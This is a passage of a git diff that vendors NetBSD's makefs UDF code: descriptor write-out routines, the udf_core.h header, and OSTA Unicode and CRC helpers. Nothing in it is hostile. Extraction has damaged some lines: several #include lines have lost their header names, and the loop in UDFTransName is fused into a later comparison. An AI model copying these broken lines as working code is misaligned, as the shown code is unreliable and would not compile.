sequence + terminator */ + loc = layout.lvis; + dscr = (union dscrptr *) context.logvol_integrity; + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + error = udf_write_dscr_phys(terminator_dscr, loc, 1); + if (error) + return error; + + /* create VAT if needed */ + if (format_flags & FORMAT_VAT) { + context.vat_allocated = context.sector_size; + context.vat_contents = malloc(context.vat_allocated); + assert(context.vat_contents); + + udf_prepend_VAT_file(); + } + + /* create FSD and writeout */ + if ((error = udf_create_fsd())) + return error; + udf_mark_allocated(layout.fsd, metadata_part, 1); + + dscr = (union dscrptr *) context.fileset_desc; + error = udf_write_dscr_virt(dscr, layout.fsd, metadata_part, 1); + + return error; +} + + +/* specific routine for newfs to create empty rootdirectory */ +int +udf_do_rootdir(void) +{ + union dscrptr *root_dscr; + int error; + + /* create root directory and write out */ + assert(context.unique_id == 0x10); + context.unique_id = 0; + if ((error = udf_create_new_rootdir(&root_dscr))) + return error; + udf_mark_allocated(layout.rootdir, context.metadata_part, 1); + + error = udf_write_dscr_virt(root_dscr, + layout.rootdir, context.metadata_part, 1); + + free(root_dscr); + + return error; +} + + +int +udf_do_newfs_postfix(void) +{ + union dscrptr *dscr; + uint32_t loc, len; + int data_part, metadata_part; + int format_flags = context.format_flags; + int error; + + /* cache partition for we need it often */ + data_part = context.data_part; + metadata_part = context.metadata_part; + + if ((format_flags & FORMAT_SEQUENTIAL) == 0) { + /* update lvint and mark it closed */ + udf_update_lvintd(UDF_INTEGRITY_CLOSED); + + /* overwrite initial terminator */ + loc = layout.lvis+1; + dscr = (union dscrptr *) context.logvol_integrity; + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + + /* mark end of integrity descriptor sequence again */ + error = udf_write_dscr_phys(terminator_dscr, loc, 1); + if (error) + return error; + } + + /* write out unallocated space bitmap on non sequential media */ + if ((format_flags & (FORMAT_SEQUENTIAL | FORMAT_READONLY)) == 0) { + /* writeout unallocated space bitmap */ + loc = layout.unalloc_space; + dscr = (union dscrptr *) (context.part_unalloc_bits[data_part]); + len = layout.alloc_bitmap_dscr_size; + error = udf_write_dscr_virt(dscr, loc, data_part, len); + if (error) + return error; + } + + if (format_flags & FORMAT_META) { + loc = layout.meta_file; + dscr = (union dscrptr *) context.meta_file; + error = udf_write_dscr_virt(dscr, loc, data_part, 1); + if (error) + return error; + + loc = layout.meta_mirror; + dscr = (union dscrptr *) context.meta_mirror; + error = udf_write_dscr_virt(dscr, loc, data_part, 1); + if (error) + return error; + + if (context.meta_bitmap) { + loc = layout.meta_bitmap; + dscr = (union dscrptr *) context.meta_bitmap; + error = udf_write_dscr_virt(dscr, loc, data_part, 1); + if (error) + return error; + + /* writeout unallocated space bitmap */ + loc = layout.meta_bitmap_space; + dscr = (union dscrptr *) + (context.part_unalloc_bits[metadata_part]); + len = layout.meta_bitmap_dscr_size; + error = udf_write_dscr_virt(dscr, loc, data_part, len); + if (error) + return error; + } + } + + /* create and writeout a VAT */ + if (format_flags & FORMAT_VAT) + udf_writeout_VAT(); + + /* done */ + return 0; +} diff --git a/thirdparty/makefs/udf_core.h b/thirdparty/makefs/udf_core.h new file mode 100644 index 0000000..2f8f39e --- /dev/null +++ b/thirdparty/makefs/udf_core.h @@ -0,0 +1,414 @@ +/* $NetBSD: udf_core.h,v 1.2 2022/04/09 09:58:11 riastradh Exp $ */ + +/* + * Copyright (c) 2006, 2008, 2021, 2022 Reinoud Zandijk + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _FS_UDF_CORE_H_ +#define _FS_UDF_CORE_H_ + + +#if 0 +# ifndef DEBUG +# define DEBUG +# endif +#endif + + +#include +#include +#include "udf_bswap.h" +#include "udf_osta.h" + +#if !HAVE_NBTOOL_CONFIG_H +#define _EXPOSE_MMC +#include "cdio.h" +#include "ecma167-udf.h" +#else +#include "udf/cdio_mmc_structs.h" +#include "../../sys/fs/udf/ecma167-udf.h" +#endif + + +/* format flags indicating properties of disc to create */ +#define FORMAT_WRITEONCE 0x00001 +#define FORMAT_SEQUENTIAL 0x00002 +#define FORMAT_REWRITABLE 0x00004 +#define FORMAT_SPAREABLE 0x00008 +#define FORMAT_META 0x00010 +#define FORMAT_LOW 0x00020 +#define FORMAT_VAT 0x00040 +#define FORMAT_WORM 0x00080 +#define FORMAT_TRACK512 0x00100 +#define FORMAT_INVALID 0x00200 +#define FORMAT_READONLY 0x00400 +#define FORMAT_FLAGBITS \ + "\10\1WRITEONCE\2SEQUENTIAL\3REWRITABLE\4SPAREABLE\5META\6LOW" \ + "\7VAT\10WORM\11TRACK512\12INVALID\13READONLY" + +/* writing strategy */ +#define UDF_WRITE_SEQUENTIAL 1 +#define UDF_WRITE_PACKET 2 /* with fill-in if needed */ +#define UDF_MAX_QUEUELEN 400 /* must hold all pre-partition space */ + +/* structure space */ +#define UDF_ANCHORS 4 /* 256, 512, N-256, N */ +#define UDF_PARTITIONS 4 /* overkill */ +#define UDF_PMAPS 4 /* overkill */ + +/* misc constants */ +#define UDF_MAX_NAMELEN 255 /* as per SPEC */ +#define UDF_LVDINT_SEGMENTS 10 /* big overkill */ +#define UDF_LVINT_LOSSAGE 4 /* lose 2 openings */ +#define UDF_MAX_ALLOC_EXTENTS 5 /* overkill */ + +/* translation constants */ +#define UDF_VTOP_RAWPART UDF_PMAPS /* [0..UDF_PMAPS> are normal */ + +/* virtual to physical mapping types */ +#define UDF_VTOP_TYPE_RAW 0 +#define UDF_VTOP_TYPE_UNKNOWN 0 +#define UDF_VTOP_TYPE_PHYS 1 +#define UDF_VTOP_TYPE_VIRT 2 +#define UDF_VTOP_TYPE_SPAREABLE 3 +#define UDF_VTOP_TYPE_META 4 + +#define UDF_TRANS_ZERO ((uint64_t) -1) +#define UDF_TRANS_UNMAPPED ((uint64_t) -2) +#define UDF_TRANS_INTERN ((uint64_t) -3) +#define UDF_MAX_SECTOR ((uint64_t) -10) /* high water mark */ + +/* handys */ +#define UDF_ROUNDUP(val, gran) \ + ((uint64_t) (gran) * (((uint64_t)(val) + (gran)-1) / (gran))) + +#define UDF_ROUNDDOWN(val, gran) \ + ((uint64_t) (gran) * (((uint64_t)(val)) / (gran))) + +/* default */ +#define UDF_META_PERC 20 /* picked */ + + +/* disc offsets for various structures and their sizes */ +struct udf_disclayout { + uint32_t wrtrack_skew; + + uint32_t iso9660_vrs; + uint32_t anchors[UDF_ANCHORS]; + uint32_t vds1_size, vds2_size, vds1, vds2; + uint32_t lvis_size, lvis; + + uint32_t first_lba, last_lba; + uint32_t blockingnr, align_blockingnr, spareable_blockingnr; + uint32_t meta_blockingnr, meta_alignment; + + /* spareables */ + uint32_t spareable_blocks; + uint32_t spareable_area, spareable_area_size; + uint32_t sparing_table_dscr_lbas; + uint32_t spt_1, spt_2; + + /* metadata partition */ + uint32_t meta_file, meta_mirror, meta_bitmap; + uint32_t meta_part_start_lba, meta_part_size_lba; + uint32_t meta_bitmap_dscr_size; + uint32_t meta_bitmap_space; + + /* main partition */ + uint32_t part_start_lba, part_size_lba; + uint32_t alloc_bitmap_dscr_size; + uint32_t unalloc_space, freed_space; + + /* main structures */ + uint32_t fsd, rootdir, vat; + +}; + + +struct udf_lvintq { + uint32_t start; + uint32_t end; + uint32_t pos; + uint32_t wpos; +}; + + +/* all info about discs and descriptors building */ +struct udf_create_context { + /* descriptors */ + int dscrver; /* 2 or 3 */ + int min_udf; /* hex */ + int max_udf; /* hex */ + int serialnum; /* format serialno */ + + int gmtoff; /* in minutes */ + int meta_perc; /* format paramter */ + int check_surface; /* for spareables */ + int create_new_session; /* for non empty recordables */ + + uint32_t sector_size; + int media_accesstype; + int format_flags; + int write_strategy; + + /* identification */ + char *logvol_name; + char *primary_name; + char *volset_name; + char *fileset_name; + + char const *app_name; + char const *impl_name; + int app_version_main; + int app_version_sub; + + /* building */ + int vds_seq; /* for building functions */ + + /* constructed structures */ + struct anchor_vdp *anchors[UDF_ANCHORS]; /* anchors to VDS */ + struct pri_vol_desc *primary_vol; /* identification */ + struct logvol_desc *logical_vol; /* main mapping v->p */ + struct unalloc_sp_desc *unallocated; /* free UDF space */ + struct impvol_desc *implementation; /* likely reduntant */ + struct logvol_int_desc *logvol_integrity; /* current integrity */ + struct part_desc *partitions[UDF_PARTITIONS]; /* partitions */ + + struct space_bitmap_desc*part_unalloc_bits[UDF_PARTITIONS]; + struct space_bitmap_desc*part_freed_bits [UDF_PARTITIONS]; + + /* track information */ + struct mmc_trackinfo first_ti_partition; + struct mmc_trackinfo first_ti; + struct mmc_trackinfo last_ti; + + /* current partitions for allocation */ + int data_part; + int metadata_part; + int fids_part; + + /* current highest file unique_id */ + uint64_t unique_id; + + /* block numbers as offset in partition, building ONLY! */ + uint32_t alloc_pos[UDF_PARTITIONS]; + + /* derived; points *into* other structures */ + struct udf_logvol_info *logvol_info; /* inside integrity */ + + /* fileset and root directories */ + struct fileset_desc *fileset_desc; /* normally one */ + + /* logical to physical translations */ + int vtop[UDF_PMAPS+1]; /* vpartnr trans */ + int vtop_tp[UDF_PMAPS+1]; /* type of trans */ + + /* spareable */ + struct udf_sparing_table*sparing_table; /* replacements */ + + /* VAT file */ + uint32_t vat_size; /* length */ + uint32_t vat_allocated; /* allocated length */ + uint32_t vat_start; /* offset 1st entry */ + uint8_t *vat_contents; /* the VAT */ + + /* meta data partition */ + struct extfile_entry *meta_file; + struct extfile_entry *meta_mirror; + struct extfile_entry *meta_bitmap; + + /* lvint */ + uint32_t num_files; + uint32_t num_directories; + uint32_t part_size[UDF_PARTITIONS]; + uint32_t part_free[UDF_PARTITIONS]; + + /* fsck */ + union dscrptr *vds_buf; + int vds_size; + struct udf_lvintq lvint_trace[UDF_LVDINT_SEGMENTS]; /* fsck */ + uint8_t *lvint_history; /* fsck */ + int lvint_history_len; /* fsck */ + int lvint_history_wpos; /* fsck */ + int lvint_history_ondisc_len; /* fsck */ +}; + + +/* global variables describing disc and format */ +extern struct udf_create_context context; +extern struct udf_disclayout layout; +extern struct mmc_discinfo mmc_discinfo; /* device: disc info */ + +extern int dev_fd_rdonly; /* device: open readonly! */ +extern int dev_fd; /* device: file descriptor */ +extern struct stat dev_fd_stat; /* device: last stat info */ +extern char *dev_name; /* device: name */ +extern int emul_mmc_profile; /* for files */ +extern int emul_packetsize; /* for discs and files */ +extern int emul_sectorsize; /* for files */ +extern off_t emul_size; /* for files */ +extern uint32_t wrtrack_skew; /* offset for write sector0 */ + + +/* prototypes */ +extern void udf_init_create_context(void); +extern int a_udf_version(const char *s, const char *id_type); +extern int is_zero(void *blob, int size); +extern uint32_t udf_bytes_to_sectors(uint64_t bytes); + +extern int udf_calculate_disc_layout(int min_udf, + uint32_t first_lba, uint32_t last_lba, + uint32_t sector_size, uint32_t blockingnr); +extern void udf_dump_layout(void); +extern int udf_spareable_blocks(void); +extern int udf_spareable_blockingnr(void); + +extern void udf_osta_charset(struct charspec *charspec); +extern void udf_encode_osta_id(char *osta_id, uint16_t len, char *text); +extern void udf_to_unix_name(char *result, int result_len, char *id, int len, + struct charspec *chsp); +extern void unix_to_udf_name(char *result, uint8_t *result_len, + char const *name, int name_len, struct charspec *chsp); + +extern void udf_set_regid(struct regid *regid, char const *name); +extern void udf_add_domain_regid(struct regid *regid); +extern void udf_add_udf_regid(struct regid *regid); +extern void udf_add_impl_regid(struct regid *regid); +extern void udf_add_app_regid(struct regid *regid); + +extern int udf_check_tag(void *blob); +extern int udf_check_tag_payload(void *blob, uint32_t max_length); +extern int udf_check_tag_and_location(void *blob, uint32_t location); +extern int udf_validate_tag_sum(union dscrptr *dscr); +extern int udf_validate_tag_and_crc_sums(union dscrptr *dscr); + +extern void udf_set_timestamp_now(struct timestamp *timestamp); +extern void udf_timestamp_to_timespec(struct timestamp *timestamp, + struct timespec *timespec); +extern void udf_timespec_to_timestamp(struct timespec *timespec, + struct timestamp *timestamp); + +extern void udf_inittag(struct desc_tag *tag, int tagid, uint32_t loc); +extern int udf_create_anchor(int num); + +extern void udf_create_terminator(union dscrptr *dscr, uint32_t loc); +extern int udf_create_primaryd(void); +extern int udf_create_partitiond(int part_num); +extern int udf_create_unalloc_spaced(void); +extern int udf_create_sparing_tabled(void); +extern int udf_create_space_bitmap(uint32_t dscr_size, uint32_t part_size_lba, + struct space_bitmap_desc **sbdp); +extern int udf_create_logical_dscr(void); +extern int udf_create_impvold(char *field1, char *field2, char *field3); +extern int udf_create_fsd(void); +extern int udf_create_lvintd(int type); +extern void udf_update_lvintd(int type); +extern uint16_t udf_find_raw_phys(uint16_t raw_phys_part); + +extern int udf_register_bad_block(uint32_t location); +extern void udf_mark_allocated(uint32_t start_lb, int partnr, uint32_t blocks); + +extern int udf_impl_extattr_check(struct impl_extattr_entry *implext); +extern void udf_calc_impl_extattr_checksum(struct impl_extattr_entry *implext); +extern int udf_extattr_search_intern(union dscrptr *dscr, + uint32_t sattr, char const *sattrname, + uint32_t *offsetp, uint32_t *lengthp); + +extern int udf_create_new_fe(struct file_entry **fep, int file_type, + struct stat *st); +extern int udf_create_new_efe(struct extfile_entry **efep, int file_type, + struct stat *st); + +extern int udf_encode_symlink(uint8_t **pathbufp, uint32_t *pathlenp, char *target); + +extern void udf_advance_uniqueid(void); +extern uint32_t udf_tagsize(union dscrptr *dscr, uint32_t lb_size); +extern int udf_fidsize(struct fileid_desc *fid); +extern void udf_create_fid(uint32_t diroff, struct fileid_desc *fid, + char *name, int namelen, struct long_ad *ref); +extern int udf_create_parentfid(struct fileid_desc *fid, struct long_ad *parent); + +extern int udf_create_meta_files(void); +extern int udf_create_new_rootdir(union dscrptr **dscr); + +extern int udf_create_VAT(union dscrptr **vat_dscr, struct long_ad *vatdata_loc); +extern void udf_prepend_VAT_file(void); +extern void udf_vat_update(uint32_t virt, uint32_t phys); +extern int udf_append_VAT_file(void); +extern int udf_writeout_VAT(void); + +extern int udf_opendisc(const char *device, int open_flags); +extern void udf_closedisc(void); +extern int udf_prepare_disc(void); +extern int udf_update_discinfo(void); +extern int udf_update_trackinfo(struct mmc_trackinfo *ti); +extern int udf_get_blockingnr(struct mmc_trackinfo *ti); +extern void udf_synchronise_caches(void); +extern void udf_suspend_writing(void); +extern void udf_allow_writing(void); + +extern int udf_write_iso9660_vrs(void); + +/* address translation */ +extern int udf_translate_vtop(uint32_t lb_num, uint16_t vpart, + uint32_t *lb_numres, uint32_t *extres); + +/* basic sector read/write with caching */ +extern int udf_read_sector(void *sector, uint64_t location); +extern int udf_write_sector(void *sector, uint64_t location); + +/* extent reading and writing */ +extern int udf_read_phys(void *blob, uint32_t location, uint32_t sects); +extern int udf_write_phys(void *blob, uint32_t location, uint32_t sects); + +extern int udf_read_virt(void *blob, uint32_t location, uint16_t vpart, + uint32_t sectors); +extern int udf_write_virt(void *blob, uint32_t location, uint16_t vpart, + uint32_t sectors); + +extern int udf_read_dscr_phys(uint32_t sector, union dscrptr **dstp); +extern int udf_write_dscr_phys(union dscrptr *dscr, uint32_t location, + uint32_t sects); + +extern int udf_read_dscr_virt(uint32_t sector, uint16_t vpart, + union dscrptr **dstp); +extern int udf_write_dscr_virt(union dscrptr *dscr, + uint32_t location, uint16_t vpart, uint32_t sects); + +extern void udf_metadata_alloc(int nblk, struct long_ad *pos); +extern void udf_data_alloc(int nblk, struct long_ad *pos); +extern void udf_fids_alloc(int nblk, struct long_ad *pos); + +extern int udf_derive_format(int req_enable, int req_disable); +extern int udf_proces_names(void); +extern int udf_surface_check(void); + +extern int udf_do_newfs_prefix(void); +extern int udf_do_rootdir(void); +extern int udf_do_newfs_postfix(void); + +extern void udf_dump_discinfo(struct mmc_discinfo *di); + +#endif /* _UDF_CORE_H_ */ diff --git a/thirdparty/makefs/udf_osta.c b/thirdparty/makefs/udf_osta.c new file mode 100644 index 0000000..1976389 --- /dev/null +++ b/thirdparty/makefs/udf_osta.c @@ -0,0 +1,514 @@ +/* $NetBSD: udf_osta.c,v 1.10 2013/08/05 17:02:54 joerg Exp $ */ +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif +#include +#include +// __KERNEL_RCSID(0, "$NetBSD: udf_osta.c,v 1.10 2013/08/05 17:02:54 joerg Exp $"); + +/* + * Various routines from the OSTA 2.01 specs. Copyrights are included with + * each code segment. Slight whitespace modifications have been made for + * formatting purposes. Typos/bugs have been fixed. + * + */ + +#include "udf_osta.h" + +#ifndef _KERNEL +#include +#endif + +/*****************************************************************************/ +/*********************************************************************** + * OSTA compliant Unicode compression, uncompression routines. + * Copyright 1995 Micro Design International, Inc. + * Written by Jason M. Rinn. + * Micro Design International gives permission for the free use of the + * following source code. + */ + +/*********************************************************************** + * Takes an OSTA CS0 compressed unicode name, and converts + * it to Unicode. + * The Unicode output will be in the byte order + * that the local compiler uses for 16-bit values. + * NOTE: This routine only performs error checking on the compID. + * It is up to the user to ensure that the unicode buffer is large + * enough, and that the compressed unicode name is correct. + * + * RETURN VALUE + * + * The number of unicode characters which were uncompressed. + * A -1 is returned if the compression ID is invalid. + */ +int +udf_UncompressUnicode( + int numberOfBytes, /* (Input) number of bytes read from media. */ + byte *UDFCompressed, /* (Input) bytes read from media. */ + unicode_t *unicode) /* (Output) uncompressed unicode characters. */ +{ + unsigned int compID; + int returnValue, unicodeIndex, byteIndex; + + /* Use UDFCompressed to store current byte being read. */ + compID = UDFCompressed[0]; + + /* First check for valid compID. */ + if (compID != 8 && compID != 16) { + returnValue = -1; + } else { + unicodeIndex = 0; + byteIndex = 1; + + /* Loop through all the bytes. */ + while (byteIndex < numberOfBytes) { + if (compID == 16) { + /* Move the first byte to the high bits of the + * unicode char. + */ + unicode[unicodeIndex] = + UDFCompressed[byteIndex++] << 8; + } else { + unicode[unicodeIndex] = 0; + } + if (byteIndex < numberOfBytes) { + /*Then the next byte to the low bits. */ + unicode[unicodeIndex] |= + UDFCompressed[byteIndex++]; + } + unicodeIndex++; + } + returnValue = unicodeIndex; + } + return(returnValue); +} + +/*********************************************************************** + * DESCRIPTION: + * Takes a string of unicode wide characters and returns an OSTA CS0 + * compressed unicode string. The unicode MUST be in the byte order of + * the compiler in order to obtain correct results. Returns an error + * if the compression ID is invalid. + * + * NOTE: This routine assumes the implementation already knows, by + * the local environment, how many bits are appropriate and + * therefore does no checking to test if the input characters fit + * into that number of bits or not. + * + * RETURN VALUE + * + * The total number of bytes in the compressed OSTA CS0 string, + * including the compression ID. + * A -1 is returned if the compression ID is invalid. + */ +int +udf_CompressUnicode( + int numberOfChars, /* (Input) number of unicode characters. */ + int compID, /* (Input) compression ID to be used. */ + unicode_t *unicode, /* (Input) unicode characters to compress. */ + byte *UDFCompressed) /* (Output) compressed string, as bytes. */ +{ + int byteIndex, unicodeIndex; + + if (compID != 8 && compID != 16) { + byteIndex = -1; /* Unsupported compression ID ! */ + } else { + /* Place compression code in first byte. */ + UDFCompressed[0] = compID; + + byteIndex = 1; + unicodeIndex = 0; + while (unicodeIndex < numberOfChars) { + if (compID == 16) { + /* First, place the high bits of the char + * into the byte stream. + */ + UDFCompressed[byteIndex++] = + (unicode[unicodeIndex] & 0xFF00) >> 8; + } + /*Then place the low bits into the stream. */ + UDFCompressed[byteIndex++] = + unicode[unicodeIndex] & 0x00FF; + unicodeIndex++; + } + } + return(byteIndex); +} + +/*****************************************************************************/ +/* + * CRC 010041 + */ +static unsigned short crc_table[256] = { + 0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7, + 0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF, + 0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6, + 0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE, + 0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485, + 0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D, + 0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4, + 0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC, + 0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823, + 0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B, + 0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12, + 0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A, + 0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41, + 0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49, + 0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70, + 0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78, + 0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F, + 0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067, + 0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E, + 0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256, + 0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D, + 0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405, + 0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C, + 0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634, + 0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB, + 0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3, + 0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A, + 0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92, + 0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9, + 0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1, + 0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8, + 0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0 +}; + +unsigned short +udf_cksum(unsigned char *s, int n) +{ + unsigned short crc=0; + + while (n-- > 0) + crc = crc_table[(crc>>8 ^ *s++) & 0xff] ^ (crc<<8); + return crc; +} + +/* UNICODE Checksum */ +unsigned short +udf_unicode_cksum(unsigned short *s, int n) +{ + unsigned short crc=0; + + while (n-- > 0) { + /* Take high order byte first--corresponds to a big endian + * byte stream. + */ + crc = crc_table[(crc>>8 ^ (*s>>8)) & 0xff] ^ (crc<<8); + crc = crc_table[(crc>>8 ^ (*s++ & 0xff)) & 0xff] ^ (crc<<8); + } + return crc; +} + + +/* + * Calculates a 16-bit checksum of the Implementation Use + * Extended Attribute header or Application Use Extended Attribute + * header. The fields AttributeType through ImplementationIdentifier + * (or ApplicationIdentifier) inclusively represent the + * data covered by the checksum (48 bytes). + * + */ +uint16_t udf_ea_cksum(uint8_t *data) { + uint16_t checksum = 0; + int count; + + for (count = 0; count < 48; count++) { + checksum += *data++; + } + + return checksum; +} + + +#ifdef MAIN +unsigned char bytes[] = { 0x70, 0x6A, 0x77 }; + +main(void) +{ + unsigned short x; + x = cksum(bytes, sizeof bytes); + printf("checksum: calculated=%4.4x, correct=%4.4x\en", x, 0x3299); + exit(0); +} +#endif + +/*****************************************************************************/ +/* #ifdef NEEDS_ISPRINT */ +/*********************************************************************** + * OSTA UDF compliant file name translation routine for OS/2, + * Windows 95, Windows NT, Macintosh and UNIX. + * Copyright 1995 Micro Design International, Inc. + * Written by Jason M. Rinn. + * Micro Design International gives permission for the free use of the + * following source code. + */ + +/*********************************************************************** + * To use these routines with different operating systems. + * + * OS/2 + * Define OS2 + * Define MAXLEN = 254 + * + * Windows 95 + * Define WIN_95 + * Define MAXLEN = 255 + * + * Windows NT + * Define WIN_NT + * Define MAXLEN = 255 + * + * Macintosh: + * Define MAC. + * Define MAXLEN = 31. + * + * UNIX + * Define UNIX. + * Define MAXLEN as specified by unix version. + */ + +#define ILLEGAL_CHAR_MARK 0x005F +#define CRC_MARK 0x0023 +#define EXT_SIZE 5 +#define PERIOD 0x002E +#define SPACE 0x0020 + +/*** PROTOTYPES ***/ +int IsIllegal(unicode_t ch); + +/* Define a function or macro which determines if a Unicode character is + * printable under your implementation. + */ + + +/* #include */ +static int UnicodeIsPrint(unicode_t ch) { + return (ch >=' ') && (ch != 127); +} + + +int UnicodeLength(unicode_t *string) { + int length; + length = 0; + while (*string++) length++; + + return length; +} + + +#ifdef _KERNEL +static int isprint(int c) { + return (c >= ' ') && (c != 127); +} +#endif + + +/*********************************************************************** + * Translates a long file name to one using a MAXLEN and an illegal + * char set in accord with the OSTA requirements. Assumes the name has + * already been translated to Unicode. + * + * RETURN VALUE + * + * Number of unicode characters in translated name. + */ +int UDFTransName( + unicode_t *newName, /* (Output)Translated name. Must be of length + * MAXLEN */ + unicode_t *udfName, /* (Input) Name from UDF volume.*/ + int udfLen) /* (Input) Length of UDF Name. */ +{ + int Index, newIndex = 0, needsCRC = false; /* index is shadowed */ + int extIndex = 0, newExtIndex = 0, hasExt = false; +#if defined OS2 || defined WIN_95 || defined WIN_NT + int trailIndex = 0; +#endif + unsigned short valueCRC; + unicode_t current; + const char hexChar[] = "0123456789ABCDEF"; + + for (Index = 0; Index < udfLen; Index++) { + current = udfName[Index]; + + if (IsIllegal(current) || !UnicodeIsPrint(current)) { + needsCRC = true; + /* Replace Illegal and non-displayable chars with + * underscore. + */ + current = ILLEGAL_CHAR_MARK; + /* Skip any other illegal or non-displayable + * characters. + */ + while(Index+1 < udfLen && (IsIllegal(udfName[Index+1]) + || !UnicodeIsPrint(udfName[Index+1]))) { + Index++; + } + } + + /* Record position of extension, if one is found. */ + if (current == PERIOD && (udfLen - Index -1) <= EXT_SIZE) { + if (udfLen == Index + 1) { + /* A trailing period is NOT an extension. */ + hasExt = false; + } else { + hasExt = true; + extIndex = Index; + newExtIndex = newIndex; + } + } + +#if defined OS2 || defined WIN_95 || defined WIN_NT + /* Record position of last char which is NOT period or space. */ + else if (current != PERIOD && current != SPACE) { + trailIndex = newIndex; + } +#endif + + if (newIndex < MAXLEN) { + newName[newIndex++] = current; + } else { + needsCRC = true; + } + } + +#if defined OS2 || defined WIN_95 || defined WIN_NT + /* For OS2, 95 & NT, truncate any trailing periods and\or spaces. */ + if (trailIndex != newIndex - 1) { + newIndex = trailIndex + 1; + needsCRC = true; + hasExt = false; /* Trailing period does not make an + * extension. */ + } +#endif + + if (needsCRC) { + unicode_t ext[EXT_SIZE]; + int localExtIndex = 0; + if (hasExt) { + int maxFilenameLen; + /* Translate extension, and store it in ext. */ + for(Index = 0; Index maxFilenameLen) { + newIndex = maxFilenameLen; + } else { + newIndex = newExtIndex; + } + } else if (newIndex > MAXLEN - 5) { + /*If no extension, make sure to leave room for CRC. */ + newIndex = MAXLEN - 5; + } + newName[newIndex++] = CRC_MARK; /* Add mark for CRC. */ + + /*Calculate CRC from original filename from FileIdentifier. */ + valueCRC = udf_unicode_cksum(udfName, udfLen); + /* Convert 16-bits of CRC to hex characters. */ + newName[newIndex++] = hexChar[(valueCRC & 0xf000) >> 12]; + newName[newIndex++] = hexChar[(valueCRC & 0x0f00) >> 8]; + newName[newIndex++] = hexChar[(valueCRC & 0x00f0) >> 4]; + newName[newIndex++] = hexChar[(valueCRC & 0x000f)]; + + /* Place a translated extension at end, if found. */ + if (hasExt) { + newName[newIndex++] = PERIOD; + for (Index = 0;Index < localExtIndex ;Index++ ) { + newName[newIndex++] = ext[Index]; + } 